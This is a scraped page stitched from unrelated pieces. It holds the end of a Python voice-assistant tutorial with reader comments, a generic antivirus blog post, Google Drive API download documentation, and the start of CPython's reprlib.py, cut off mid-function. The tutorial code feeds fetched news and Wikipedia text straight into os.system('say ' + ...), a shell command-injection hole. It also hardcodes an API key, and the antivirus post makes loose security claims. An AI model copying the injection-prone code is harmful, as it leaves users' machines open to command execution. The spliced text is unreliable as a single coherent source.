mail.ehlo() mail.starttls() mail.login('your_email_address', 'your_password') mail.sendmail('sender_email', 'receiver_email', content) mail.close() sofiaResponse('Email has been sent successfuly. You can check your inbox.')else: sofiaResponse('I don\'t know what you mean!') 4. Launch any system application. Say “launch calendar” or “can you please launch skype” or “Sofia launch finder” etc. and Sofia will launch that system application for you. How it works : If you have said the word launch in your command then it will search for application name(if it is present in your system) in the user command using re.search(). It will then append the suffix “.app” to the application name. Now your application name is for example say calender.app(In macOS the executable files end with extension .app unlike in Windows which ends with .exe). So the executable application name will be launched using python subprocess’s Popen() function. The subprocess module enables you to start new applications from your Python program. elif 'launch' in command: reg_ex = re.search('launch (.*)', command) if reg_ex: appname = reg_ex.group(1) appname1 = appname+".app" subprocess.Popen(["open", "-n", "/Applications/" + appname1], stdout=subprocess.PIPE)sofiaResponse('I have launched the desired application') 5. Tells you the current weather and temperature of almost any city. Sofia can also tell you the weather, maximum and minimum temperature of any city around the world. The user just needs to say something like “what is the current weather in London” or “tell me the current weather in Delhi”. How it works : If you have said the phrase current weather in your command then it will search for city name using re.search(). I have used pythons pyowm library to get the weather of any city. get_status() will tell you about the weather condition like haze, cloudy, rainy etc and get_temperature() will tell you about the max and min temperature of the city. elif 'current weather' in command: reg_ex = re.search('current weather in (.*)', command) if reg_ex: city = reg_ex.group(1) owm = OWM(API_key='ab0d5e80e8dafb2cb81fa9e82431c1fa') obs = owm.weather_at_place(city) w = obs.get_weather() k = w.get_status() x = w.get_temperature(unit='celsius') sofiaResponse('Current weather in %s is %s. The maximum temperature is %0.2f and the minimum temperature is %0.2f degree celcius' % (city, k, x['temp_max'], x['temp_min'])) 6. Tells you the current time. “Sofia can you tell me the current time ?” or “what is the time now ?” and Sofia will tell you the current time of your timezone. How it works : Its pretty simple elif 'time' in command: import datetime now = datetime.datetime.now() sofiaResponse('Current time is %d hours %d minutes' % (now.hour, now.minute)) 7. Greetings/ leave Say “ hello Sofia” to greet your voice assistant or when you want the program to terminate say something like “shutdown Sofia” or “Sofia please shutdown” etc. How it works : If you have said the word hello in your command, then depending on the time of the day, the bot will greet the user. If the time is more than 12 noon, the bot will respond “Hello Sir. Good afternoon”, likewise if the time is more than 6 ck pm, the bot will respond “Hello Sir. Good evening”. And when you give command as shutdown, sys.exit() will be called to terminate the program. #Greet Sofia elif 'hello' in command: day_time = int(strftime('%H')) if day_time < 12: sofiaResponse('Hello Sir. Good morning') elif 12 <= day_time < 18: sofiaResponse('Hello Sir. Good afternoon') else: sofiaResponse('Hello Sir. Good evening')#to terminate the program elif 'shutdown' in command: sofiaResponse('Bye bye Sir. Have a nice day') sys.exit() 8. Play you a song on VLC media player This feature allows your voice bot to play your desired song in VLC media player. The user will say “Sofia play me a song”, the bot will ask “What song shall I play Sir?”. Just say the name of the song and Sofia will download the song from youtube in your local drive, play that song on the VLC media player and if you again play a song the previously downloaded song will get deleted automatically. How it works :If you have said the phrase play me a song in your command, then it will ask you what video song to play. The song you will ask will be searched in youtube.com, If found than the song will be downloaded in your local directory using pythons youtube_dl library. The youtube-dl is a command-line program to download videos from YouTube.com and a few more sites. Now the song will be played as soon as it gets downloded using pythons VLC library and play(path_to__videosong) module actually playes the song. Now if the next time you ask for any other song, the local directory will be flushed and a new song will be downloaded in that directory. elif 'play me a song' in command: path = '/Users/nageshsinghchauhan/Documents/videos/' folder = path for the_file in os.listdir(folder): file_path = os.path.join(folder, the_file) try: if os.path.isfile(file_path): os.unlink(file_path) except Exception as e: print(e)sofiaResponse('What song shall I play Sir?')mysong = myCommand() if mysong: flag = 0 url = "https://www.youtube.com/results?search_query=" + mysong.replace(' ', '+') response = urllib2.urlopen(url) html = response.read() soup1 = soup(html,"lxml") url_list = [] for vid in soup1.findAll(attrs={'class':'yt-uix-tile-link'}): if ('https://www.youtube.com' + vid['href']).startswith("https://www.youtube.com/watch?v="): flag = 1 final_url = 'https://www.youtube.com' + vid['href'] url_list.append(final_url)url = url_list[0] ydl_opts = {}os.chdir(path) with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download([url]) vlc.play(path)if flag == 0: sofiaResponse('I have not found anything in Youtube ') 9. Change desktop wallpaper. You guys can also change your desktop wallpaper using this feature. When you say something like “change wallpaper” or “Sofia please change wallpaper” the bot will download random wallpaper from unsplash.com and sets it as your desktop background. How it works : If you have said the phrase change wallpaper in your command, the program will download a random wallpaper from unsplash.com, store it in local directory and set it as your desktop wallpaper using subprocess.call(). I have used unsplash API to get access to its content. Now if the next time you ask to change the wallpaper again, your local directory will be flushed and a new wallpaper will be downloaded in that directory. elif 'change wallpaper' in command: folder = '/Users/nageshsinghchauhan/Documents/wallpaper/' for the_file in os.listdir(folder): file_path = os.path.join(folder, the_file) try: if os.path.isfile(file_path): os.unlink(file_path) except Exception as e: print(e) api_key = 'XXXX' url = 'https://api.unsplash.com/photos/random?client_id=' + api_key #pic from unspalsh.com f = urllib2.urlopen(url) json_string = f.read() f.close() parsed_json = json.loads(json_string) photo = parsed_json['urls']['full'] urllib.urlretrieve(photo, "/Users/nageshsinghchauhan/Documents/wallpaper/a") # Location where we download the image to. subprocess.call(["killall Dock"], shell=True) sofiaResponse('wallpaper changed successfully') 10. Tells you latest news feeds. Sofia can also tell you the latest news update. The user just has to say “Sofia what are the top news for today ?” or “tell me the news for today”. How it works : If you have said the phrase news for today in your command then it will scrape data using Beautiful Soup from Google News RSS() and read it for you. For convineince I have set number of news limit to 15. elif 'news for today' in command: try: news_url="https://news.google.com/news/rss" Client=urlopen(news_url) xml_page=Client.read() Client.close() soup_page=soup(xml_page,"xml") news_list=soup_page.findAll("item") for news in news_list[:15]: sofiaResponse(news.title.text.encode('utf-8')) except Exception as e: print(e) 11. Tells you about almost anything you ask. Your bot can fetch details of almost anything you ask her. Like “Sofia tell me about Google” or “Please tell me about Supercomputers” or “please tell me about the Internet”. So as you can see you can ask about almost anything. How it works : If you have said the phrase tell me about in your command then it will search for the keyword in the user command using re.search(). Using pythons wikipedia library it will search for that topic and extract first 500 characters(if you dont specify the limit the bot will read the whole page for you). Wikipedia is a Python library that makes it easy to access and parse data from Wikipedia. elif 'tell me about' in command: reg_ex = re.search('tell me about (.*)', command) try: if reg_ex: topic = reg_ex.group(1) ny = wikipedia.page(topic) sofiaResponse(ny.content[:500].encode('utf-8')) except Exception as e: sofiaResponse(e) Lets put everything together: import speech_recognition as sr import os import sys import re import webbrowser import smtplib import requests import subprocess from pyowm import OWM import youtube_dl import vlc import urllib import urllib2 import json from bs4 import BeautifulSoup as soup from urllib2 import urlopen import wikipedia import random from time import strftime def sofiaResponse(audio): "speaks audio passed as argument" print(audio) for line in audio.splitlines(): os.system("say " + audio)def myCommand(): "listens for commands" r = sr.Recognizer() with sr.Microphone() as source: print('Say something...') r.pause_threshold = 1 r.adjust_for_ambient_noise(source, duration=1) audio = r.listen(source) try: command = r.recognize_google(audio).lower() print('You said: ' + command + '\n') #loop back to continue to listen for commands if unrecognizable speech is received except sr.UnknownValueError: print('....') command = myCommand(); return commanddef assistant(command): "if statements for executing commands" #open subreddit Reddit if 'open reddit' in command: reg_ex = re.search('open reddit (.*)', command) url = 'https://www.reddit.com/' if reg_ex: subreddit = reg_ex.group(1) url = url + 'r/' + subreddit webbrowser.open(url) sofiaResponse('The Reddit content has been opened for you Sir.')elif 'shutdown' in command: sofiaResponse('Bye bye Sir. Have a nice day') sys.exit() #open website elif 'open' in command: reg_ex = re.search('open (.+)', command) if reg_ex: domain = reg_ex.group(1) print(domain) url = 'https://www.' + domain webbrowser.open(url) sofiaResponse('The website you have requested has been opened for you Sir.') else: pass#greetings elif 'hello' in command: day_time = int(strftime('%H')) if day_time < 12: sofiaResponse('Hello Sir. Good morning') elif 12 <= day_time < 18: sofiaResponse('Hello Sir. Good afternoon') else: sofiaResponse('Hello Sir. Good evening')elif 'help me' in command: sofiaResponse(""" You can use these commands and I'll help you out:1. Open reddit subreddit : Opens the subreddit in default browser. 2. Open xyz.com : replace xyz with any website name 3. Send email/email : Follow up questions such as recipient name, content will be asked in order. 4. Current weather in {cityname} : Tells you the current condition and temperture 5. Hello 6. play me a video : Plays song in your VLC media player 7. change wallpaper : Change desktop wallpaper 8. news for today : reads top news of today 9. time : Current system time 10. top stories from google news (RSS feeds) 11. tell me about xyz : tells you about xyz """) #joke elif 'joke' in command: res = requests.get( 'https://icanhazdadjoke.com/', headers={"Accept":"application/json"}) if res.status_code == requests.codes.ok: sofiaResponse(str(res.json()['joke'])) else: sofiaResponse('oops!I ran out of jokes')#top stories from google news elif 'news for today' in command: try: news_url="https://news.google.com/news/rss" Client=urlopen(news_url) xml_page=Client.read() Client.close() soup_page=soup(xml_page,"xml") news_list=soup_page.findAll("item") for news in news_list[:15]: sofiaResponse(news.title.text.encode('utf-8')) except Exception as e: print(e) #current weather elif 'current weather' in command: reg_ex = re.search('current weather in (.*)', command) if reg_ex: city = reg_ex.group(1) owm = OWM(API_key='ab0d5e80e8dafb2cb81fa9e82431c1fa') obs = owm.weather_at_place(city) w = obs.get_weather() k = w.get_status() x = w.get_temperature(unit='celsius') sofiaResponse('Current weather in %s is %s. The maximum temperature is %0.2f and the minimum temperature is %0.2f degree celcius' % (city, k, x['temp_max'], x['temp_min'])) #time elif 'time' in command: import datetime now = datetime.datetime.now() sofiaResponse('Current time is %d hours %d minutes' % (now.hour, now.minute))elif 'email' in command: sofiaResponse('Who is the recipient?') recipient = myCommand() if 'rajat' in recipient: sofiaResponse('What should I say to him?') content = myCommand() mail = smtplib.SMTP('smtp.gmail.com', 587) mail.ehlo() mail.starttls() mail.login('your_email_address', 'your_password') mail.sendmail('sender_email', 'receiver_email', content) mail.close() sofiaResponse('Email has been sent successfuly. You can check your inbox.') else: sofiaResponse('I don\'t know what you mean!')#launch any application elif 'launch' in command: reg_ex = re.search('launch (.*)', command) if reg_ex: appname = reg_ex.group(1) appname1 = appname+".app" subprocess.Popen(["open", "-n", "/Applications/" + appname1], stdout=subprocess.PIPE)sofiaResponse('I have launched the desired application')#play youtube song elif 'play me a song' in command: path = '/Users/nageshsinghchauhan/Documents/videos/' folder = path for the_file in os.listdir(folder): file_path = os.path.join(folder, the_file) try: if os.path.isfile(file_path): os.unlink(file_path) except Exception as e: print(e) sofiaResponse('What song shall I play Sir?') mysong = myCommand() if mysong: flag = 0 url = "https://www.youtube.com/results?search_query=" + mysong.replace(' ', '+') response = urllib2.urlopen(url) html = response.read() soup1 = soup(html,"lxml") url_list = [] for vid in soup1.findAll(attrs={'class':'yt-uix-tile-link'}): if ('https://www.youtube.com' + vid['href']).startswith("https://www.youtube.com/watch?v="): flag = 1 final_url = 'https://www.youtube.com' + vid['href'] url_list.append(final_url)url = url_list[0] ydl_opts = {}os.chdir(path) with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download([url]) vlc.play(path)if flag == 0: sofiaResponse('I have not found anything in Youtube ') #change wallpaper elif 'change wallpaper' in command: folder = '/Users/nageshsinghchauhan/Documents/wallpaper/' for the_file in os.listdir(folder): file_path = os.path.join(folder, the_file) try: if os.path.isfile(file_path): os.unlink(file_path) except Exception as e: print(e) api_key = 'xxx' url = 'https://api.unsplash.com/photos/random?client_id=' + api_key #pic from unspalsh.com f = urllib2.urlopen(url) json_string = f.read() f.close() parsed_json = json.loads(json_string) photo = parsed_json['urls']['full'] urllib.urlretrieve(photo, "/Users/nageshsinghchauhan/Documents/wallpaper/a") # Location where we download the image to. subprocess.call(["killall Dock"], shell=True) sofiaResponse('wallpaper changed successfully') #askme anything elif 'tell me about' in command: reg_ex = re.search('tell me about (.*)', command) try: if reg_ex: topic = reg_ex.group(1) ny = wikipedia.page(topic) sofiaResponse(ny.content[:500].encode('utf-8')) except Exception as e: print(e) sofiaResponse(e) sofiaResponse('Hi User, I am Sofia and I am your personal voice assistant, Please give a command or say "help me" and I will tell you what all I can do for you.') #loop to continue executing multiple commands while True: assistant(myCommand()) So you have seen how just by writing simple lines of python code we can create a very cool voice-based desktop/laptop assistant. Apart from these features, you can also include many different features in your voice assistant. Please not that once you start executing your program, be loud and clear while you are interacting with voice assistant because it may happen that if your voice is not clear your voice assistant may not be able to interpret you properly. Conclusion: What the future holds Throughout the history of computing, user interfaces have become progressively natural to use. The screen and keyboard were one step in this direction. The mouse and graphical user interface were another. Touch screens are the most recent development. The next step will most likely consist of a mix of augmented reality, gestures and voice commands. After all, it is often easier to ask a question or have a conversation than it is to type something or enter multiple details in an online form. The more a person interacts with voice-activated devices, the more trends, and patterns the system identifies based on the information it receives. Then, this data can be utilized to determine user preferences and tastes, which is a long-term selling point for making a home smarter. Google and Amazon are looking to integrate voice-enabled artificial intelligence capable of analyzing and responding to human emotion. I hope you guys have enjoyed reading this article. Share your thoughts/comments/doubts in the comment section. You can also find the code on my Github. This article is also published on KDnuggets. 778 views2 comments Recent Posts See All 2 Comments Azfar Uzair Azfar Uzair Oct 27, 2020 Hey, Thanks for this tutorial!! BUt I am facing some issues. First of all, I am running this project on Windows and getting some errors on the line "owm = OWM(API_key='ab0d5e80e8dafb2cb81fa9e82431c1fa')". So that's why the Assistant is not working. Also, I can't find the instruction video of yours. Like Sai Sudha Panigrahi Sai Sudha Panigrahi Feb 25, 2021 Replying to have you solved the issue? Like bottom of page
__label__pos
0.885083
Cyber threats are growing exponentially each day with the increase in sophisticated attacks that are targeted towards stealing your personal information. If you are wondering whether or not your data is safe on your own PC, then the straight answer is no. No one is safe on the internet and your information is at higher risk then what you may know. If you want to make sure that your private information remains private then, it is must that you make use of best antivirus software for Windows 10 and other operating systems. In this article, we are going to discuss why your information is not safe on your own PC and what you can do in order to prevent it from getting stolen. Why your information is not safe? The internet is full of people with malicious intent you are trying to access your information without your consent. These people, also known as hackers, are always on a lookout to create a backdoor entry into your system and thus get full access to your information. They do so, by infecting your system with a malware or virus. These malware programs are designed to steal your information which is then sent to the hackers. This can be any confidential file or your private photos, that hackers, later on, threaten to publish on public platforms. Some of the malware programs are designed to delete your files and folders permanently from your system, thus putting your data at high risk. Instances where celebrity data was leaked online There have been numerous instances in the past, where celebrity data including personal photos were leaked online. One such case is of Paris Hilton, who remains to be a victim of several data leak scams. During 2005, her cell phone was broken into and all of her private photos were leaked on the internet. Had she used antivirus solution, this data leak could have been prevented. Reason why PC or Phones get hacked One of the major reasons, as to why the cell phones get hacked is due to reckless browsing on the internet. People browse unsecured websites and download files from untrusted sources. And thus, when they open such websites and files on their cell phone or PC, they unknowingly infect the PC with malware or viruses. Due to this, it becomes easy for hackers and sniffers to get a backdoor entry into their system and get complete control over their data. How to keep data secure on your PC? One way to ensure the security and confidentiality of your data is by using a good antivirus protection suite on your personal and other mobile devices. Antivirus programs block any loopholes in your PC’s security and delete all of the viruses and malware, trying to cause harm to your system. Antivirus programs ensure that your data is kept secure by blocking all the malicious websites that can put your system at risk. It provides a safer browsing experience to users, thus protecting their identity on the internet.
__label__pos
0.788057
Download Files The Drive API allows you to download files that are stored in Google Drive. Also, you can download exported versions of Google Documents (Documents, Spreadsheets, Presentations, etc.) in formats that your app can handle. Drive also supports providing users direct access to a file via the URL in the webViewLink property. Depending on the type of download you'd like to perform — a file, a Google Document, or a content link — you'll use one of the following URLs: The rest of this page provides detailed instructions for performing these types of downloads: Downloading a file Using alt=media To download files, you make an authorized HTTP GET request to the file's resource URL and include the query parameter alt=media. For example: GET https://www.googleapis.com/drive/v3/files/0B9jNhSvVjoIVM3dKcGRKRmVIOVU?alt=media Authorization: Bearer <ACCESS_TOKEN> Downloading the file requires the user to have at least read access. Additionally, your app must be authorized with a scope that allows reading of file content. For example, an app using the drive.readonly.metadata scope would not be authorized to download the file contents. Users with edit permission may restrict downloading by read-only users by setting the labels.restricted field to true. Files identified as abusive (malware, etc.) are only downloadable by the owner. Additionally, the query parameter acknowledgeAbuse=true must be included to indicate that the user has acknowledged the risk of downloading potential malware. Your application should interactively warn the user before using this query parameter. Examples Here are examples of performing a file download with our Drive API client libraries. Java String fileId = "0BwwA4oUTeiV1UVNwOHItT0xfa2M"; OutputStream outputStream = new ByteArrayOutputStream(); driveService.files().get(fileId) .executeMediaAndDownloadTo(outputStream); Python file_id = '0BwwA4oUTeiV1UVNwOHItT0xfa2M' request = drive_service.files().get_media(fileId=file_id) fh = io.BytesIO() downloader = MediaIoBaseDownload(fh, request) done = False while done is False: status, done = downloader.next_chunk() print "Download %d%%." % int(status.progress() * 100) PHP $fileId = '0BwwA4oUTeiV1UVNwOHItT0xfa2M'; $response = $driveService->files->get($fileId, array( 'alt' => 'media')); $content = $response->getBody()->getContents(); .NET var fileId = "0BwwA4oUTeiV1UVNwOHItT0xfa2M"; var request = driveService.Files.Get(fileId); var stream = new System.IO.MemoryStream(); // Add a handler which will be notified on progress changes. // It will notify on each chunk download and when the // download is completed or failed. request.MediaDownloader.ProgressChanged += (IDownloadProgress progress) => { switch (progress.Status) { case DownloadStatus.Downloading: { Console.WriteLine(progress.BytesDownloaded); break; } case DownloadStatus.Completed: { Console.WriteLine("Download complete."); break; } case DownloadStatus.Failed: { Console.WriteLine("Download failed."); break; } } }; request.Download(stream); Ruby file_id = '0BwwA4oUTeiV1UVNwOHItT0xfa2M' content = drive_service.get_file(file_id, download_dest: StringIO.new) Node.js var fileId = '0BwwA4oUTeiV1UVNwOHItT0xfa2M'; var dest = fs.createWriteStream('/tmp/photo.jpg'); drive.files.get({ fileId: fileId, alt: 'media' }) .on('end', function () { console.log('Done'); }) .on('error', function (err) { console.log('Error during download', err); }) .pipe(dest); Partial download Partial download involves downloading only a specified portion of a file. You can specify the portion of the file you want to dowload by using a byte range with the Range header. For example: Range: bytes=500-999 Downloading Google Documents Download Google Documents using the files.export method. Exports use the same alt=media approach as downloading other content in Drive. The following examples demonstrate how to download a Google Document in PDF format using the client libraries: Java String fileId = "1ZdR3L3qP4Bkq8noWLJHSr_iBau0DNT4Kli4SxNc2YEo"; OutputStream outputStream = new ByteArrayOutputStream(); driveService.files().export(fileId, "application/pdf") .executeMediaAndDownloadTo(outputStream); Python file_id = '1ZdR3L3qP4Bkq8noWLJHSr_iBau0DNT4Kli4SxNc2YEo' request = drive_service.files().export_media(fileId=file_id, mimeType='application/pdf') fh = io.BytesIO() downloader = MediaIoBaseDownload(fh, request) done = False while done is False: status, done = downloader.next_chunk() print "Download %d%%." % int(status.progress() * 100) PHP $fileId = '1ZdR3L3qP4Bkq8noWLJHSr_iBau0DNT4Kli4SxNc2YEo'; $response = $driveService->files->export($fileId, 'application/pdf', array( 'alt' => 'media')); $content = $response->getBody()->getContents(); .NET var fileId = "1ZdR3L3qP4Bkq8noWLJHSr_iBau0DNT4Kli4SxNc2YEo"; var request = driveService.Files.Export(fileId, "application/pdf"); var stream = new System.IO.MemoryStream(); // Add a handler which will be notified on progress changes. // It will notify on each chunk download and when the // download is completed or failed. request.MediaDownloader.ProgressChanged += (IDownloadProgress progress) => { switch (progress.Status) { case DownloadStatus.Downloading: { Console.WriteLine(progress.BytesDownloaded); break; } case DownloadStatus.Completed: { Console.WriteLine("Download complete."); break; } case DownloadStatus.Failed: { Console.WriteLine("Download failed."); break; } } }; request.Download(stream); Ruby file_id = '1ZdR3L3qP4Bkq8noWLJHSr_iBau0DNT4Kli4SxNc2YEo' content = drive_service.export_file(file_id, 'application/pdf', download_dest: StringIO.new) Node.js var fileId = '1ZdR3L3qP4Bkq8noWLJHSr_iBau0DNT4Kli4SxNc2YEo'; var dest = fs.createWriteStream('/tmp/resume.pdf'); drive.files.export({ fileId: fileId, mimeType: 'application/pdf' }) .on('end', function () { console.log('Done'); }) .on('error', function (err) { console.log('Error during download', err); }) .pipe(dest); Google Doc formats and supported export MIME types map to each other as follows: Google Doc Format Conversion Format Corresponding MIME type Documents HTML text/html HTML (zipped) application/zip Plain text text/plain Rich text application/rtf Open Office doc application/vnd.oasis.opendocument.text PDF application/pdf MS Word document application/vnd.openxmlformats-officedocument.wordprocessingml.document EPUB application/epub+zip Spreadsheets MS Excel application/vnd.openxmlformats-officedocument.spreadsheetml.sheet Open Office sheet application/x-vnd.oasis.opendocument.spreadsheet PDF application/pdf CSV (first sheet only) text/csv TSV (first sheet only) text/tab-separated-values HTML (zipped) application/zip Drawings JPEG image/jpeg PNG image/png SVG image/svg+xml PDF application/pdf Presentations MS PowerPoint application/vnd.openxmlformats-officedocument.presentationml.presentation Open Office presentation application/vnd.oasis.opendocument.presentation PDF application/pdf Plain text text/plain Apps Scripts JSON application/vnd.google-apps.script+json The about resource contains additional information about available export formats for each file type. Viewing files in a browser If you want to allow a user to view a file directly in a web browser instead of through the API, use the webContentLink. You can either redirect a user to this URL, or offer it as a clickable link. The file must be either owned by or shared with the user in order to view it. Feedback geben zu... Drive REST API v2 Drive REST API v2
__label__pos
0.641105
go中的面向对象 purplerabbit 发布于4天前 阅读602次 0 条评论 总体来看,go语言中的面向对象在使用方式上是灵活易用的,可以说设计理念真的很先进,让人有一种如沐春风的感觉。 如果你在学生时代经历了一个从c到c++的学习历程,你是否还记得,老师会说c++是面向对象的,所以我们不必再使用c中的结构体作为数据结构。我们只需定义的是c++中的类,因为类中不只有成员属性,也有成员函数。换句话说, class是可以完美替代struct的,而且更强大。 回到go中,我们的面向对象使用的就是struct,但时代不同了,这次我们的struct也可以有"成员函数"了。 定义一个典型的面向对象方式 package main import "fmt" type Human struct { height float32 weight int } func (h Human) BMIindex() (index int){ index = h.weight / int(h.height * h.height) return } func main() { person := Human{1.83, 75} fmt.Printf("this person's height is %.2f m\n", person.height) fmt.Printf("this person's weight is %d kg\n", person.weight) fmt.Printf("this person's BMI index is %d\n", person.BMIindex()) } 在main函数中我们初始化了一个Human对象,并分别读取了他们的属性height和weight,最后调用了Human对象的成员函数BMIindex(),通过计算获得了这个人的"体质指数"。 Receiver 上述例子中,一个Human对象的成员函数就是通过Receiver来定义的。我们给一个普通的func添加了Receiver(就是上述示例中的h Human),就构成了一个methodBMIindex()。在这种情况下,这个函数只能依赖于一个Human对象来起作用,而不能被独立调用。其正确的调用方式就是上述的person.BMIindex() 下述又一个例子,我们希望通过定义成员函数来改变对象的成员属性。 package main import "fmt" type Human struct { height float32 weight int } func (h Human) BMIindex() (index int){ index = h.weight / int(h.height * h.height) return } func (h Human) setHeight(height float32) { h.height = height } func main() { person := Human{1.83, 75} fmt.Printf("this person's height is %.2f m\n", person.height) fmt.Printf("this person's weight is %d kg\n", person.weight) fmt.Printf("this person's BMI index is %d\n", person.BMIindex()) person.setHeight(1.90) fmt.Printf("this person's height is %.2f m\n", person.height) } 输出结果: this person's height is 1.83 m this person's weight is 75 kg this person's BMI index is 25 this person's height is 1.83 m 可以看出,我们调用person.setHeight(1.90)之后,person的height属性并没有改变为1.90。而为了解决这个问题,我们需要改变receiver。我们将setHeight()函数定义为下述形式即可。 func (h *Human) BMIindex() (index int){ index = h.weight / int(h.height * h.height) return } 原因:我们将对象的指针类型作为receiver,才能改变其属性的值。其本质为,我们可以把receiver看作func的独特的一个参数。如果传递的是一个对象类型,那么函数中改变的实际上是这个对象的副本;而如果传递一个指针类型,改变的才是这个对象本身。 关于receiver的选择,可以这样理解,如果需要获取对象属性(get),则选用对象作为receiver;如果需要改变对象属性(set),则选取指针作为receiver。 method的适用范围 上述示例中,我们定义的method都是对应于struct的,但实际上method的定义可以依赖于所有的自定义类型。所谓自定义类型,就是通过type语句给一些内置类型起了个"别名"后所定义的新类型。 package main import "fmt" type Sex string func (s *Sex) change(){ if *s == Sex("女") { *s = Sex("男") } } func main() { sex := Sex("女") fmt.Println("previous sex is ", sex) sex.change() fmt.Println("current sex is ", sex) } 这里,我们新定义了一个类型Sex,并且为其定义了一个method change()。 面向对象中的继承 package main import "fmt" type Human struct { height float32 weight int } type Woman struct { Human sex string } func (h Human) BMIindex() (index int){ index = h.weight / int(h.height * h.height) return } func main() { woman := Woman{Human{1.65, 50}, "女"} fmt.Printf("this woman's height is %.2f m\n", woman.height) fmt.Printf("this woman's wight is %d kg\n", woman.weight) fmt.Printf("this woman's BMIindex is %d\n", woman.BMIindex()) } 这个例子展现了Woman对Human的继承。在Woman结构体中包含了匿名字段Human,那么Human中包含的属性也是属于一个Woman对象的属性,Human对象的method同样也可以被Woman对象所使用。值得注意的是,这个method可以被重写。只需要再定义一个以Woman对象类型为receiver的BMIindex(),那么再次调用woman.BMIindex时,实际调用的函数是新定义的这个函数。这就是method的重写。 访问属性 如果你对面向对象中的访问属性很熟悉的话,你一定知道public、private和protected作为访问修饰符的作用。而在go语言中,我们使用大小写来区分。 标识符首字母大写,相当于public属性。这样的成员属性或成员函数可以被在包外部被调用。例如上述Woman、BMIindex。 标识符首字母小写,相当于protected属性。这样的成员属性或成员函数只能在包内部被使用。 查看原文: go中的面向对象 • brownbear • brownrabbit • tinylion • greensnake • smallfrog • smallswan • crazytiger • purplekoala 需要 登录 后回复方可回复, 如果你还没有账号你可以 注册 一个帐号。
__label__pos
0.913867
@netlify/cache-utils TypeScript icon, indicating that this package has built-in type declarations 5.1.5 • Public • Published Coverage Status Build Utility for caching files in Netlify Build. Examples Simple // Restore file/directory cached in previous builds. // Does not do anything if: // - the file/directory already exists locally // - the file/directory has not been cached yet export const onPreBuild = async function ({ utils }) { await utils.cache.restore('./path/to/file') } // Cache file/directory for future builds. // Does not do anything if: // - the file/directory does not exist locally export const onPostBuild = async function ({ utils }) { await utils.cache.save('./path/to/file') } Multiple directories // Restore/cache several files/directories export const onPreBuild = async function ({ utils }) { await utils.cache.restore(['./path/to/file', './path/to/other']) } export const onPostBuild = async function ({ utils }) { await utils.cache.save(['./path/to/file', './path/to/other']) } API save(path, options?) path: string options: object Returns: Promise<Boolean> Cache a file/directory. Skipped if the file/directory does not exist locally. Returns false if the file/directory does not exist. Returns true otherwise. options ttl Type: number (in seconds) Default: undefined Only cache the file/directory for a specific amount of time. // Only cache the following file/directory for 1 hour export const onPreBuild = async function ({ utils }) { await utils.cache.restore('./path/to/file') } export const onPostBuild = async function ({ utils }) { const ttl = 3600 await utils.cache.save('./path/to/file', { ttl }) } digests Type: string[] Default: [] Paths to lock files or manifest files that can be used to check if the directory to cache has changed. Using this option speeds up caching. // If that directory has a lockfile or a manifest file, use it to check if its // contents has changed. This will speed up cache saving. // For example, `package-lock.json` and `yarn.lock` are digest files for the // `node_modules` directory. export const onPreBuild = async function ({ utils }) { await utils.cache.restore('node_modules') } export const onPostBuild = async function ({ utils }) { await utils.cache.save('node_modules', { digests: ['package-lock.json', 'yarn.lock'], }) } cwd Type: string Default: process.cwd() Current directory used to resolve relative paths. restore(path, options?) path: string options: object Returns: Promise<Boolean> Restore a file/directory previously cached. Skipped if the file/directory already exists locally or if it has not been cached yet. Please be careful: this overwrites the local file/directory if any exists. Returns false if the file/directory was not cached yet. Returns true otherwise. options cwd Type: string Default: process.cwd() Current directory used to resolve relative paths. remove(path, options?) path: string Returns: Promise<Boolean> Remove a file/directory from the cache. Useful for cache invalidation. Returns false if the file/directory was not cached yet. Returns true otherwise. export const onPostBuild = async function ({ utils }) { await utils.cache.remove('./path/to/file') } options cwd Type: string Default: process.cwd() Current directory used to resolve relative paths. has(path, options?) path: string Returns: Promise<Boolean> Returns whether a file/directory is currently cached. // Conditional logic can be applied depending on whether the file has been // previously cached or not const path = './path/to/file' export const onPreBuild = async function ({ utils }) { if (!(await utils.cache.has(path))) { console.log(`File ${path} not cached`) return } console.log(`About to restore cached file ${path}...`) if (await utils.cache.restore('./path/to/file')) { console.log(`Restored cached file ${path}`) } } export const onPostBuild = async function ({ utils }) { if (await utils.cache.save('./path/to/file')) { console.log(`Saved cached file ${path}`) } } options cwd Type: string Default: process.cwd() Current directory used to resolve relative paths. list(options?) Returns: Promise<string[]> Returns the absolute paths of the files currently cached. Those are the paths of the files before being saved (or after being restored), not while being cached. export const onPreBuild = async function ({ utils }) { const files = await utils.cache.list() console.log('Cached files', files) } options cwd Type: string Default: process.cwd() Current directory used to resolve relative paths. depth Type: number Default: 1 Number of subdirectories to include. 0 means only top-level directories will be included. Install npm i @netlify/cache-utils DownloadsWeekly Downloads 87,319 Version 5.1.5 License MIT Unpacked Size 26.5 kB Total Files 13 Last publish Collaborators • akardet • lekoarts • pieh • hrishikeshk • ed_stephinson • danez • sarahetter • orinokai • ericap • seanroberts • skn0tt • mikewen • biilmann • marcus.netlify • jgantunes • eduardoboucas • netlify-bot • nasiba • zachleat • ascorbic
__label__pos
0.806358
cpython-withatomic / Lib / reprlib.py """Redo the builtin repr() (representation) but with limits on most sizes.""" __all__ = ["Repr", "repr", "recursive_repr"] import builtins from itertools import islice try: from _thread import get_ident except ImportError: from _dummy_thread import get_ident def recursive_repr(fillvalue='...'): 'Decorator to make a repr function return fillvalue for a recursive call' def decorating_function(user_function): repr_running = set() def wrapper(self): key = id(self), get_ident() if key in repr_running: return fillvalue repr_running.add(key) try: result = user_function(self) finally: repr_running.discard(key) return result # Can't use functools.wraps() here because of bootstrap issues wrapper.__module__ = getattr(user_function, '__module__') wrapper.__doc__ = getattr(user_function, '__doc__') wrapper.__name__ = getattr(user_function, '__name__') wrapper.__annotations__ = getattr(user_function, '__annotations__', {}) return wrapper return decorating_function class Repr: def __init__(self): self.maxlevel = 6 self.maxtuple = 6 self.maxlist = 6 self.maxarray = 5 self.maxdict = 4 self.maxset = 6 self.maxfrozenset = 6 self.maxdeque = 6 self.maxstring = 30 self.maxlong = 40 self.maxother = 30 def repr(self, x): return self.repr1(x, self.maxlevel) def repr1(self, x, level): typename = type(x).__name__ if ' ' in typename: parts = typename.split() typename = '_'.join(parts) if hasattr(self, 'repr_' + typename): return getattr(self, 'repr_' + typename)(x, level) else: return self.repr_instance(x, level) def _repr_iterable(self, x, level, left, right, maxiter, trail=''): n = len(x) if level <= 0 and n: s = '...' else: newlevel = level - 1 repr1 = self.repr1 pieces = 